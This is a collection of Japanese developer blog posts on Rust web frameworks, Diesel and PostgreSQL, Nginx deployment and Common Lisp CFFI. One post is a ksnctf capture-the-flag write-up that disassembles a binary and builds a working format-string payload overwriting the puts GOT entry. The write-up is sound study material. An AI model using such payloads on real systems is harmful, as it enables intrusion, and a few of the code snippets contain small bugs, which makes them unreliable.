Actix-webでAPIサーバーを書いてみた

現在ちょっとしたカレンダーアプリを作っており、バックエンドにはRustを採用している。

リポジトリここから。

フレームワークにはActix-webを採用しており、今回バックエンドサイドはある程度書き上がったのでその所感をまとめてみようと思う。

ミニマム

とにかく全体的に感じたのが、とにかくミニマムで取り回しやすいなという感じがした。

マクロ等を利用したルーティングやURIディスパッチ、各種ミドルウェアの実装などをほんの数行で実現でき、簡易的なAPIサーバーを実装するにはかなり良いと思う。

例えばマクロによるルーティングとURLディスパッチについて、自分も今作っているカレンダーアプリではこんなコードがある。

#[get("/user/{username}")]
pub async fn schedule_content(
    info: web::Path<UserData>,
    pool: web::Data<DbPool>,
) -> impl Responder {
    let conn = pool.get().expect("couldn't get db connection from pool");
    let res = Schedule::get_schedule(info.username.clone(), &conn);

    match res {
        Ok(contents) => web::Json(contents),
        Err(_) => panic!("Not found schedule"),
    }
}

 URLで/user/{username}として任意の文字列usernameに対して適当なコンテンツを打ち返すというのがこの関数の動作だけども、

  • #[get(...)]という属性マクロを用いてルーティングを定義し、
  • info: web::Path<UserData>として引数にURLのディスパッチを行う

ということができている。

例えばこれをPythonのFlaskとかでやろうとするならもう少しコード量が必要になると思われる。

別にPythonのFlaskでも良い感はあるが、やはりRustには型による安心感がある。

実際、今回は{username}という任意の文字列をUserDataという型(構造体)に押し込めており、こちらとして事前に用意しておいたメソッドを適用させることなどができる。

もちろん、場合によってはディスパッチされる型を整数型として受け取ることも可能である。

こうした型の安全性とシンプルなコードを高いレベル両立できるのはやはりすごいと思う。

拡張性

今回のバックエンドとしてはそこまで複雑な動作をさせているわけではないが、地味にDBへの連携などの処理がある。

その点、Actix-webはHTTPサーバーとしての処理とRust内部でのデータ処理のフェイズを綺麗に分けられているので、DieselなどのORMとの橋渡しが思ったよりスムーズにできた。

正直なところDieselがORMとしてどうなのかという点については多少の文句はあるのだけど(やはりPythonのSQLAlchemyが最高な気がする)、Actix-webに関しては言えばそこらへんを非常に良く分業できているので、開発していてとてもユーザー体験が良かったと思う。

実際、チュートリアルにもDieselとの接続について簡単なデザインパターンが載っており、これは初学者にとっては心強いと思う。

これ以外に、CSRF対策なども数行挟み込めばなんとかなる。

use actix_web::middleware::csrf;

fn handle_post(_req: HttpRequest) -> &'static str {
    "This action should only be triggered with requests from the same site"
}

fn main() {
    let app = Application::new()
        .middleware(
            csrf::CsrfFilter::build()
                .allowed_origin("https://www.example.com")
                .finish())
        .resource("/", |r| {
            r.method(Method::GET).f(|_| httpcodes::HttpOk);
            r.method(Method::POST).f(handle_post);
        })
        .finish();
}

他にもHTTP/2.0とかWebSocketあたりの先進的なWebの技術についてもしっかりカバーされており、やはり強い。

非同期

やはりActix-webについてはこれが嬉しい。

async/awaitを特に意識することなくサクッと実装でき、これは何よりも嬉しいポイントだと思う。

開発者サイドからは非同期処理特有のめんどくさい部分がRustのasync構文によってtokioのランタイムをフル活用でき、ストレスなく非同期処理を実装できる。

困ってないけど困りそうなポイント

今回はActix-webでAPIサーバーを実装したわけで、割と開発がサクサク進んだので特に困ったポイントなどは無いのだけど、こういうケースだと少し困るかな、という点を上げておこうと思う。

DjangoRailsの場合、データベースやフロントの方までフレームワークが管理しており、フレームワークが敷いたレールの上をしっかり歩めば良いというのが根幹の思想としてある。

一方で、今回扱ったActix-webについてはそうした完全に全部をカバーするという思想ではなく必要な機能を必要な分だけ使うというイメージである。

なので、例えばテンプレートエンジンなど込みで一つのフレームワークに乗っかって全て完結させたいんだーという場合において、Actix-webを含めて現存するRustのフレームワークでは実現が難しいポイントだと思う。

ただ、これについては個人的には問題ないと思っていて、というのもRustはとにかくシンプルにプロダクトを作成するという点においてかなり強みを発揮すると考えている。

故にRustは疎結合な構成のWebアプリで使われると思っていて(そっちの方が型周りの良さが出てくると思う)、今のところそういう機能モリモリなMVCフレームワークはないし、これからもそういうのは登場する必要はないかなと思う。

今後もWeb開発においてRustは局所的に高速に非同期処理したい場合で活躍していくと思う。

まとめ

今回はActix-webで実装をしてみた所感については簡単にまとめてみた。

色々偉そうな感じのことを言ってしまっており、もしかしたら間違いがあるかもしれないので、その場合は後学やコミュニティのためにも指摘してもらえると嬉しい。

今後もRustで開発していこうと思う。

DieselでPostgreSQLに接続

最近はずっとRustで簡単なWebアプリを作っているのだけど、PostgreSQLへの接続にちょっと困ったのでメモ。

環境

  • Rust: 1.45.0
[dependencies]
actix-web = "2.0.0"
actix-rt = "1.1.1"
diesel = { version = "1.4.5", features = ["postgres", "chrono", "r2d2"] }
dotenv = "0.15.0"
serde = "1.0.114"
chrono = { version = "0.4.13", features = ["serde"] }
r2d2 = "0.8.9"

やったこと

まず最初にDiesel CLIを入れる。

cargo install diesel_cli

その後、作業ディレクトリの中で.envというファイルを作り、その中に

DATABASE_URL=postgres://[username]:[password]@localhost/[some_name]

と書き込む。

このときusernamepasswordはローカル環境なら端末のユーザー名とパスワード。

次にPostgreSQLサーバーを立てる。

PostgreSQLのインストールで、Macの場合は

brew install postgresql

とする。

これを入れることで

# PostgreSQLサーバー起動
postgres -D /usr/local/var/postgres

# PostgreSQLサーバーへ接続するためのクライアント
psql -h [ホスト名] -U [ユーザー名] -p [パスワード] [テーブル名]

# テーブル作成
createdb -h [ホスト名] -U [ユーザー名] -p [パスワード] [テーブル名]

などのコマンドが打てる。

ローカル環境の場合はpsqlコマンドの-h-Uなどのオプションはデフォルトでlocalhostに繋がるようになっており、手元で簡単に試すのであればpsql [テーブル名]などすれば良い。

さて、今回はDieselPostgreSQLにつなぐことが目的なので、サーバーを立てる。

postgres -D /usr/local/var/postgres

これを裏でやっておいて、作業ディレクトリでDieselのセットアップをする。

diesel setup

こうすると先ほど後ろで走らせておいたPostgreSQLサーバーに通信が飛んだのがわかると思う。

あとはDieselのチュートリアルの通りにやればよく、まずSQLのコマンドを生成する。

diesel migration generate create_posts

これをやると作業ディレクトリにmigrationというディレクトリが作られ、中にup.sqldown.sqlというファイルが作られる。

それぞれ

CREATE TABLE posts (
  id SERIAL PRIMARY KEY,
  title VARCHAR NOT NULL,
  body TEXT NOT NULL,
  published BOOLEAN NOT NULL DEFAULT 'f'
)
DROP TABLE posts

と書き込む。

あとは

diesel migration run

とコマンドを打てば、裏側で走らせてるPostgreSQLサーバーが走ってCREATE TABLEしてくれる。

反省

最初に作業をしていたとき、ローカルでPostgreSQLサーバーを立てるのがめんどくさくて、.envの中を

DATABASE_URL="test.db"

としており、実際にdiesel setupなどをすると若干怪しい動きをしつつも作業ディレクトリにtest.dbというファイルが生成されていたのでイケると勝手に勘違いしていた。

その後、作業を続けてActix-webでHTTPサーバー立てようとしたときデータベースへの繋ぎ込みがうまくいかないことが原因となってHTTPサーバー自体も立ち上がらず...

そんなこんなでかなり時間を食ってしまった(CircleCIもめちゃくちゃコケた)ので、これからはローカル開発でもサボらずにサーバーを立てようと思う。

インスタンスでNginxを使って簡単にデプロイする

ローカルのマシンで

python3 -m http.server 5000

をやると5000番ポートにサーバーを立てることができる。

ブラウザでlocalhost:5000を見てみるとディレクトリにあるファイルが一覧で見れる。

さて、これをインスタンスでも同じことをやろうと思う。

まず、インスタンスを簡単に準備する。

f:id:komi1230:20200628174540p:plain
インスタンスSSHで接続

自分はGCPでCompute Engineを使って用意した。

とりあえずPythonをインストールする。

sudo apt install python3

これでできたあと、Pythonでローカルサーバーを立てる。

python3 -m http.server 5000

結論から言うと、このままだとブラウザで http://[外向けIP]としてもアクセスできない。

このアドレスにアクセスできるようにNginxを利用する。

まずNginxをインストールする。

sudo apt install nginx

このあと、 /etc/nginx/conf.d/[何かテキトーな名前].conf というファイルを作り、そこにNginxの設定を書き込む。

server {
     listen 80;
     server_name [外向けIP];   // ここ注意
     location / {
         proxy_pass http://localhost:5000;
     }
}

それぞれの意味として

  • 1行目 server: Nginxサーバーについての設定
  • 2行目 listen: Nginxはデフォで80番ポートを見に行くとかなんとか
  • 3行目 server_name: ドメインとかを書くらしい、今回はIPを直打ち
  • 4行目 localtion / : ルーティングで / にアクセス来た時にプロキシとして飛ばす設定
  • 5行目 proxy_pass: プロキシで飛ばすアドレス。ポート番号注意。

という具合。

この設定が書けたらNginxを起動する

sudo service nginx start

そうして、Pythonでサーバーを立てる。

ポート番号はNginxの設定ファイルと合うようにする。

python3 -m http.server 5000

これでブラウザを見に行くと中身が見れる。

f:id:komi1230:20200628175820p:plain
ブラウザでの表示画面

これで簡単にデプロイができた。

RustのWebフレームワークを触ってみた感想

最近はRustにハマっている。

前までPythonCommon Lispをずっと触っていた人間で、完全に動的型付け言語の脳になっていたのだけど、少し勉強してみようくらいの気持ちでRustを書き始めた。

最初はそんなモチベだったのだけど、気がついたらもうコードを書くときはRustくらい型がしっかりしていないと不安になるようになってしまった。

とにかくRustは書いてて楽しい言語だと思う。

そんなRustだが、サーバーエンジニアリングの言語として触るならどんな感じになるか知りたくなり、今回RustのWebフレームワークを触ってみることにした。

どのフレームワーク

RustのWebフレームワークは結構たくさんある。

ここらへんの比較については以下のページにて比較がなされている。

github.com

流石は勢いのある言語ということもあり、かなりたくさんのWebフレームワークが作られている。

ひとまず、rust web framework と検索してみたらRocketが出てきた(Simple, Fast, Type-Safeと謳っている)のと、あと上記のフレームワーク比較で非同期処理ができるActix-webを触ってみることにした。

Rocket

とりあえずチュートリアルを回してみる。

rocket.rs

ホントに触ってみたらRustのそのままの感じが前面に出てるような感じで、触りやすい印象。

ある程度のお作法はあるものの、そこまで癖がなく簡単に書ける。

実際、ルーティングについても#[hogehoge]というようにアトリビュートをつけるだけで簡単に実装ができる。

#[get("/")]
fn index() -> &'static str {
    "Hello Rocket!"
}

fn main() {
    rocket::ignite()
        .mount("/", routes![index, hoge, hello, bar])
        .launch();
}

これ以外にもテストやStateなどもとても触りやすい形式となっており、かなり素直にWebアプリが実装できるようになっている。

何よりチュートリアルがめちゃくちゃ整っている。

非同期処理ができないのが難点だけども、シンプルなWebアプリをRustで書いてみようとするならRocketはかなり良さそうな印象。

ちなみにちょっと触っててコンパイラがwarningを出してたので直してPRを出したらマージされた。

github.com

Actix-web

Rocketのチュートリアルが終わったので今度はActix-webを触る。

このActix-webというのはRust的にちょっと歴史があるものらしく、Rustの安定版に非同期処理が実装されたのがつい去年の話らしい。

そんなわけだけど、安定版に実装されるまでに非同期処理のランタイムを実装する試みがたくさんあったらしく、Actixはそのうちの1つのtokioというランタイムを用いたアクターモデルの非同期処理フレームワークという位置付けらしい。(多分認識が間違ってるかも)

で、そのActixの非同期処理機構をWeb系にガンガン拡張していって出来上がったのがActix-webというものらしい。

そんな背景だが、とりあえず触ってみる。

actix.rs

Rocketと同様にまずチュートリアルを回してみる。

触った感触としては、基本的にはかなりシンプルな設計だと感じた。

ただ、かなり実践的な用途を考えているらしく、データベースへの連携だったりHTTP/2への対応、graceful shutdownによるホットデプロイメントだったり、かなり豪華な仕様となっている。

まだチュートリアルを全部回しきってはいないが、ここらへんはWeb開発において結構重要そうな云々がフレームワークとしてまとまっているので、是非ともこれからもActix-webを触ってみようと思う。

まとめ

今回はRustのWebフレームワークとしてRocketとActix-webを触ってみた。

どちらも触りやすい感じで、同時にチュートリアル等が整っているので始めやすかった。

今のところは手元でローカルホストでちょっと動きを確かめる程度の感じになっているが、ある程度Actix-webが使い慣れてきたら勉強の意味も兼ねてGCPなりでインスタンスを立てて何かWebアプリを作ってみようと思う。

Common Lispで気に入ってた部分がRustにもあり、今のところは全体的に楽しくコードを書けているので、周りでまだRustを触ってない人は是非一緒にRustを勉強をしましょう。

では、今回はここらへんで。

RustでVec<&str>を返そうとして困った

人は暇になるとLispインタプリターを実装する。

そんなこんなでRustの練習がてら今はRustでLispインタプリタの実装に取り掛かっている。

基本的な要件はラムダ式が扱えてリスト処理、簡単な算術演算ができるようにすること。

前にこの仕様でPythonで実装した。

github.com

これを今回Rustでやろうというわけである。

リストをreturnする

Lispインタプリタを実装する第一歩として、トークナイザを実装することがある。

これはいたって簡単で、Lisp(function arg0 arg1 ...)というようにカッコの頭に関数がきてその後に引数が来る。

つまりトークナイザの実装としては

(func arg0 arg1) 

=> ["(", "func", "arg0", "arg1", ")"]

というように空白区切りでリストへ変換するだけの作業となる。

そんなこんなでこれをRustで実装しようとしたのだが、これにちょっと手こずった。

結論としては以下のコードを実装すれば良い。

fn tokenize(s: &str) -> Vec<String>{
    let spreaded = s.replace("(", " ( ")
                      .replace(")", " ) ");
    
    let tokens: Vec<String> = a.split(" ")
                                 .map(|item| item.to_string())
                                 .collect();

    return tokens;
}

色々試した

上記のコードで動かせばいい感じになるが、あいにくRustユーザーとしてはまだまだ未熟なので色々試行錯誤していた。

最初に書いたコードはこれ。

fn tokenize(s: &str) -> Vec<&str>{
    let tokens: Vec<&str> = s.replace("(", " ( ")
                               .replace(")", " ) ")
                               .split(" ")
                               .collect();

    return tokens;
}

これをやるとerror[E0515]: cannot return value referencing temporary valueと怒られた。

ローカル変数屁の参照を返すなボケと言っている。

これを直すために&strStringを調べてみると、&strはsliceで配列への参照、StringVectorらしい。

ということで今回のケースでは中身に文字列が入ったリスト(ベクトル)をreturnするためにVecの中の文字列の型を&strではなくStringとして記述するべきらしい。

ということで色々試行錯誤する(ここで何度も型を間違えて3時間くらい格闘した)

そんなこんなで色々ググったりして格闘してるうちに上記の動くコードを書くことができた。

反省

ずっとLispPythonという型を明示的に書かない言語を長いこと触っていなかったためにかなり手こずった。

具体的にRustで型を使いこなすにはそれなりに鍛錬が必要な気がするのでこれからはRustで色々書いていこうと思う。

ただ、今回&strStringを間違えていたらなかなかに危険なプログラムが出来上がっていただろうから、Rustの所有権のありがたみとCargoの面倒見の良さに感謝していたりもする。

Rustがんばっていきたい。

村人Aを倒す

久しぶりの更新。

今日はセキュリティの研修があったのだけれど、内容としてはひたすら教科書に書いてある単語の説明をしていくというだけであまりにも退屈で、ちょっと手を動かしたくなったので常設CTFを解いていくことにした。

触ったのはksnctf

実は昔(2年くらい前)に暇でksnctfはバーっと解いていったのだけど、時間が経ってあまりCTF系のことはやらなくなっていったので久しぶりに解いてみようかなとなった次第。

で、今回は対象は村人A

早速解いていく。

村人Aは大人気問題なのでいろいろな人がWrteupをあげているが、今回のエントリーは解説というより単純に自分の理解が曖昧な気がしたので言語化しておこうというノリなのであまり期待しないように。

とりかかる

問題を見てみるとSSHの繋ぎ先とID、Passwordが書いてあるので、SSHで繋げる。

ssh q4@ctfq.sweetduet.info -p 10022

これで見てみるとPasswordが要求されるので打ち込む。

さて、そこまで来ると中身はこうなっている。

f:id:komi1230:20200513181704p:plain
SSHで繋げたらこんな感じ

readme.txtを読んでみるとインターネットに繋げるのとホームディレクトリには書き込み禁止、一時的なディレクトリには /tmp を使ってねとのこと。

そしてflag.txtがあるのでこれをcatで開こうとするが、これは権限がないので無理っぽい。

とりあえずq4が実行ファイルらしいので実行してみると

  • 名前が聞かれる
  • ファイルが見たいか聞かれる。
  • noが入力されるまでやり直し

という具合。

普通に何かやろうとしても無理っぽい。

そこで今回は入力値を入れる形式なので、これによくある不正な値を入れたらどうなるか試してみる。

echo "%x" | ./q4

%xとは16進数。

これをやると名前が400となっている。

f:id:komi1230:20200513182409p:plain
不正な値を入れてみた

どうやらこの手がいけるらしい。

とりあえずこの時点でここに何か不正な値を入力させることでflagが手に入るのだなという方針が立つ。

さて、q4は実行ファイルなのでcatコマンドで中身を見ようとしてもロクなことにはならないので、とりあえず逆アセンブルする。

ということでオブジェクトファイルの静的解析ツールであるところのobjdumpを利用する。

objdump -M intel -D q4

この-M intelというのは逆アセンブルした際のアセンブリ言語をどの文法で記述するかというオプションで、実はAT&T記法よりもIntel記法の方が見やすい気がするのでこのオプションを挟んでいる。

-Dは逆アセンブル(disassemble)のオプション。

そこで見てみると、アセンブリがわーっと出てくる。

f:id:komi1230:20200513183006p:plain
アセンブルしてみた

中のコードを読み進めていくと、mainから始まる部分が見つかるので、そこをよく読んでみる。

080485b4 <main>:
 80485b4:   55                      push   ebp
 80485b5:   89 e5                   mov    ebp,esp
 80485b7:   83 e4 f0                and    esp,0xfffffff0
 80485ba:   81 ec 20 04 00 00       sub    esp,0x420
 80485c0:   c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:   89 04 24                mov    DWORD PTR [esp],eax
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:   89 04 24                mov    DWORD PTR [esp],eax
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:   00 
 8048637:   8d 44 24 18             lea    eax,[esp+0x18]
 804863b:   89 04 24                mov    DWORD PTR [esp],eax
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   eax,eax
 8048645:   0f 94 c0                sete   al
 8048648:   84 c0                   test   al,al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    eax,0x0
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:   08 
 804865e:   8d 44 24 18             lea    eax,[esp+0x18]
 8048662:   89 04 24                mov    DWORD PTR [esp],eax
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   eax,eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    eax,0x0
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:   85 c0                   test   eax,eax
 804868a:   0f 95 c0                setne  al
 804868d:   84 c0                   test   al,al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:   00 
 80486bf:   8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:   89 04 24                mov    DWORD PTR [esp],eax
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:   89 04 24                mov    DWORD PTR [esp],eax
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    eax,0x0
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

これを読んでると、アドレス80485e4のところと804863efgetsがあり、アドレス80486a0のところにfopen関数があるのがわかる。

この実行ファイルのソースコードは知らないけど、先ほどの不正な入力値に対しての結果から

int main(void){
    char some_text[24];
    fgets(some_text, 24, stdin);
    printf(fgets);

    return 0;
}

みたいなことをしていると想像がつく。」

要するにprintfでフォーマットを指定することなく標準出力している。

ここから、今回のタスクは

  • q4に不正な値を入力する
  • どれかの関数のをコントロールし、fopen関数を叩いてくれるように誘導する

ということだとわかる。

さて、早速取り掛かるのだが、まず最初にq4に入力値を渡したとき、入力値がスタックの何番目にくるかを確認しておきたい。

ということで、以下のようなコマンドを実行してみる。

echo 'AAAA %x,%x,%x,%x,%x,%x,%x' | ./q4

そうすると

f:id:komi1230:20200513184522p:plain
入力値がスタックのどこに入ってくるかを確認

のように6番目に41414141が入ってるのを確認できる。

AのASCIIコードは41なので、6番目に入力した値が入ってくることがわかる。

ちなみに

echo "AAAABBBB,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4

とすると、6番目に41414141が入り、7番目に42424242が入るのが確認できる。

とにかく、入力した値は6番目に以降に16byteずつ入ってくとわかる。

Exploit

以上をもとに、攻撃を仕掛けていく。

今回はmainの中で使っているputs関数のメモリアドレスをfopen関数に書き換えるという方針でいく。

今回重要なのがprintfにおけるフォーマット指定子で、%nを使う。

これは特定のスタックに出力バイト数を書き込むというもので、

int count;
printf("%d%n", 1234567, &count)

とするとcountには7が書き込まれるというわけである。

(ちなみに今回はこの%nを使ってexploitするわけだが、これを悪用したケースが多発したためにC11において廃止された)

%nは4byte、%hnは2byte、%hhnは1byte書き込む。

よって、今回のケースでは

echo 'AAAA%6$hhn' | ./q4

とすると、6番目のスタック領域に4が書き込まれることとなる。

ここから、

echo '[何かしらの文字列]%6$hhn%7$hhn...' | ./q4

とすれば入力値の領域に色々書き込めるということがわかる。

そして、この[何かしらの文字列]の部分にfopen関数のアドレスに相当するものを書き込めば、puts関数のアドレスの書き込み先をfopenにすることができてfopenを意図せぬ形で動かすということができるようになる。

まず、puts関数は

080484c4 <puts@plt>:
 80484c4:   ff 25 f4 99 04 08       jmp    DWORD PTR ds:0x80499f4
 80484ca:   68 30 00 00 00          push   0x30
 80484cf:   e9 80 ff ff ff          jmp    8048454 <_init+0x30>

というようになっており、またfopen関数は

080484a4 <fopen@plt>:
 80484a4:   ff 25 ec 99 04 08       jmp    DWORD PTR ds:0x80499ec
 80484aa:   68 20 00 00 00          push   0x20
 80484af:   e9 a0 ff ff ff          jmp    8048454 <_init+0x30>

となっている。

puts関数は0x80499f4に書き込まれるので、これを0x8048691に書き換える。

今回のシステムは32bitのCentOSなので、0x80499f4から始まる各アドレスに2byteずつ書き込んでいく。

書き込み方としてはこの画像がわかりやすい。

f:id:komi1230:20200513215800p:plain
ここより引用

ここでは指定したバイト数だけ出力してくれる%cというフォーマット指定子を使い、各アドレスに入力していく値を調整していく。

具体的に、この画像では最初にx91(10進数では145)をアドレスに割り当てるが、文字列では16byte分しかないので%cを129個分出すことによって145に相当する出力byteを%6$hhnに書き込む。

注意点として、入力では2byteずつしか格納できないので、適宜256byte分くり上げることで出力値をコントロールする。

この例として、4番目のx08を入力する際は3番目にx04を入力しているので追加で4byte分%cで増やしてあげればいいが、2番目のx86を出力するところでは1番目にx145を出力しており、すでに145byte出力しているので134-145は₋になってしまう。

つまり、これ以降の出力は大きい値でないといけないのだが、32bitのOSだということを利用して256byte分繰り上げれば良い(例えば0x132は0x32として格納される)

これらの性質を利用しつつちょこっと計算すれば

echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

puts関数をfopen関数へ無理やり飛ばす不正な文字列である。

まとめ

今回は村人Aの簡単な解法をまとめてみた。

随分と久しぶりにCTFをやったけど、このPwnの超絶基礎問題の村人Aに割と手こずってしまった気がする。

ただ、最近はずっと開発ばかりしていたのでたまにはこういう遊びも良いのかもしれない。

自分はセキュリティエンジニアでもないし恐らくこの手のテクニックはあまり役に立つことはないのかもだけど、単純に楽しいのでこれから定期的にCTFの勉強もやっていこうと思う。

また、アルゴリズム系についても基礎力がほぼゼロみたいな感じなのでLeetCodeなども適宜やっていこうと思う。

日々精進。

CFFIでGRを叩く

今日も今日とてKaiの開発。

先日にPlotlyの分のある程度が完成したので現在はバックエンドをGRに拡張するために色々やっている。

今日少しGRに着手するための作業が完了したのでそのメモ。

CFFI

CFFIはC言語へのFFI (Foreign Function Interface)を行うCommon Lispのライブラリ。

これの具体的な使い方はmasatoiさんのこの記事がすごくよくまとまっている。

qiita.com

この記事を参考にGRの共有オブジェクトを触っていく。

実際にやってみる

上記の記事を参考にやってみる。

GRのサンプルコード(C言語)は以下の通りで

#include <gr.h>

int main(void) {
    double x[] = {0, 0.2, 0.4, 0.6, 0.8, 1.0};
    double y[] = {0.3, 0.5, 0.4, 0.2, 0.6, 0.7};
    gr_polyline(6, x, y);
    gr_axes(gr_tick(0, 1), gr_tick(0, 1), 0, 0, 1, 1, -0.01);
    // Press any key to exit
    getc(stdin);
    return 0;
}

今回はこれを動かすのを目標とする。

最初にGRのバイナリをダウンロードしてくる。

リンクはここから。

github.com

準備ができたら、まずQuicklispでCFFIをロードする。

(ql:quickload :cffi)

次にGRの共有オブジェクトをロードする。

(defparameter path-to-gr "~/Downloads/gr")

(cffi:load-foreign-library
  (merge-pathnames "gr/lib/libGR.so" path-to-gr))

そしてウィンドウを立ち上げるための初期化関数などを用意。

(cffi:defcfun ("gr_initgr" initgr) :void)

(cffi:defcfun ("gr_opengks" opengks) :void)

(cffi:defcfun ("gr_closegks" closegks) :void)

このあとサンプルコードをひたすらCFFIの記法へと変換していくが、その前に環境変数を設定しておく(これがめっちゃ大切)

(setf (uiop:getenv "GRDIR") path-to-gr)

(setf (uiop:getenv "GKS_FONTPATH") path-to-gr)

さて、準備はできたのであとは上記のサンプルコードをCFFIの記法に変換していく。

(defparameter *x*
  (cffi:foreign-alloc :double
                      :initial-contents
                      (list 0.0d0 0.2d0 0.4d0 0.6d0 0.8d0 1.0d0)))
(defparameter *y*
  (cffi:foreign-alloc :double
                      :initial-contents
                      (list 0.3d0 0.5d0 0.4d0 0.2d0 0.6d0 0.7d0)))

(cffi:defcfun ("gr_polyline" polyline) :void
  (n :int)
  (x :pointer)
  (y :pointer))

(cffi:defcfun ("gr_tick" tick) :double
  (a :double)
  (b :double))

(cffi:defcfun ("gr_axes" axes) :void
  (x-tick :double)
  (y-tick :double)
  (x-org :double)
  (y-org :double)
  (major-x :int)
  (major-y :int)
  (tick-size :double))

これで準備は終わり。

追記.

実際のコードを書いてみて色々動かしているとき、試しに (polyline '(1 2 3) '(1 2 3)) としてみたところ、ウィンドウは出てくるが何も描画されず焦っていた。

検証をしてみたところ、どうやらGRは0-1の浮動小数点を相対座標として読み込んで画面に描画している ので、1より大きい値は表示されないことに注意。

早速動かしてみる。

(initgr)

(polyline 6 *x* *y*)

これを実行すると以下のようになる。

f:id:komi1230:20200412171735p:plain
線が描画された

次にaxesの部分を実行する。

(axes (tick 0d0 1d0) (tick 0d0 1d0) 1d0 1d0 1 1 -0.01d0)

そうすると以下の通りで追加で描画される。

f:id:komi1230:20200412171909p:plain
後から追加で描画された

まとめ

これにて手元でGRをCommon Lispから動かすことができた。

今後もKaiの開発を進めていこうと思う。

ところで途中で用意したopengksとかclosegksはどういうケースで使うのだろう?

個人的なイメージとしてはopengksを叩くことによってウィンドウが立ち上がるようなイメージだったのだけど、どうやらそうではないらしい。

謎だ。